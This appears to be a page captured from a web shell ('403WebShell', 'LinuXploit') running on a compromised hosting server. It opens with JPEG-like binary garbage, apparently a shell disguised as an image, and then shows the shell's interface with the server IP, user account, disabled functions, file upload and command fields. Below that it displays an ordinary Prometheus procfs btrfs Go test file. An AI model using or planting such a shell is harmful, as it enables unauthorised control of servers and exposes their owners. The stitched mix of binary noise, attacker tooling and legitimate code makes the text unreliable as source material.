JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.98  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/prometheus/procfs@v0.15.1/btrfs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/prometheus/procfs@v0.15.1/btrfs/get_test.go
// Copyright 2019 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package btrfs

import "testing"

type testVector struct {
	uuid, label        string
	devices, features  int
	data, meta, system alloc
	commitstats        commit
}

type alloc struct {
	layout string
	size   uint64
	ratio  float64
}

type commit struct {
	commits       uint64
	lastCommitMs  uint64
	maxCommitMs   uint64
	totalCommitMs uint64
}

func TestFSBtrfsStats(t *testing.T) {
	btrfs, err := NewFS("testdata/fixtures/sys")
	if err != nil {
		t.Fatalf("failed to access Btrfs filesystem: %v", err)
	}
	stats, err := btrfs.Stats()
	if err != nil {
		t.Fatalf("failed to parse Btrfs stats: %v", err)
	}

	tests := []testVector{
		{
			uuid:        "0abb23a9-579b-43e6-ad30-227ef47fcb9d",
			label:       "fixture",
			devices:     2,
			features:    4,
			data:        alloc{"raid0", 2147483648, 1},
			meta:        alloc{"raid1", 1073741824, 2},
			system:      alloc{"raid1", 8388608, 2},
			commitstats: commit{258051, 1000, 51462, 47836090},
		},
		{
			uuid:        "7f07c59f-6136-449c-ab87-e1cf2328731b",
			label:       "",
			devices:     4,
			features:    5,
			data:        alloc{"raid5", 644087808, 4. / 3.},
			meta:        alloc{"raid6", 429391872, 4. / 2.},
			system:      alloc{"raid6", 16777216, 4. / 2.},
			commitstats: commit{0, 0, 0, 0},
		},
	}

	if l := len(stats); l != len(tests) {
		t.Fatalf("unexpected number of btrfs stats: %d", l)
	}

	for i, tt := range tests {
		if want, got := tt.uuid, stats[i].UUID; want != got {
			t.Errorf("fs %q unexpected stats name:\nwant: %q\nhave: %q", tt.uuid, want, got)
		}

		if want, got := tt.devices, len(stats[i].Devices); want != got {
			t.Errorf("fs %q unexpected number of devices:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.features, len(stats[i].Features); want != got {
			t.Errorf("fs %q unexpected number of features:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.data.size, stats[i].Allocation.Data.TotalBytes; want != got {
			t.Errorf("fs %q unexpected data size:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.meta.size, stats[i].Allocation.Metadata.TotalBytes; want != got {
			t.Errorf("fs %q unexpected metadata size:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.system.size, stats[i].Allocation.System.TotalBytes; want != got {
			t.Errorf("fs %q unexpected system size:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.data.ratio, stats[i].Allocation.Data.Layouts[tt.data.layout].Ratio; want != got {
			t.Errorf("fs %q unexpected data ratio:\nwant: %f\nhave: %f", tt.uuid, want, got)
		}

		if want, got := tt.meta.ratio, stats[i].Allocation.Metadata.Layouts[tt.meta.layout].Ratio; want != got {
			t.Errorf("fs %q unexpected metadata ratio:\nwant: %f\nhave: %f", tt.uuid, want, got)
		}

		if want, got := tt.system.ratio, stats[i].Allocation.System.Layouts[tt.system.layout].Ratio; want != got {
			t.Errorf("fs %q unexpected system ratio:\nwant: %f\nhave: %f", tt.uuid, want, got)
		}

		if want, got := tt.commitstats.commits, stats[i].CommitStats.Commits; want != got {
			t.Errorf("fs %q unexpected commit stats commits:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.commitstats.lastCommitMs, stats[i].CommitStats.LastCommitMs; want != got {
			t.Errorf("fs %q unexpected commit stats last_commit_ms:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.commitstats.maxCommitMs, stats[i].CommitStats.MaxCommitMs; want != got {
			t.Errorf("fs %q unexpected commit stats max_commit_ms:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}

		if want, got := tt.commitstats.totalCommitMs, stats[i].CommitStats.TotalCommitMs; want != got {
			t.Errorf("fs %q unexpected commit stats total_commit_ms:\nwant: %d\nhave: %d", tt.uuid, want, got)
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit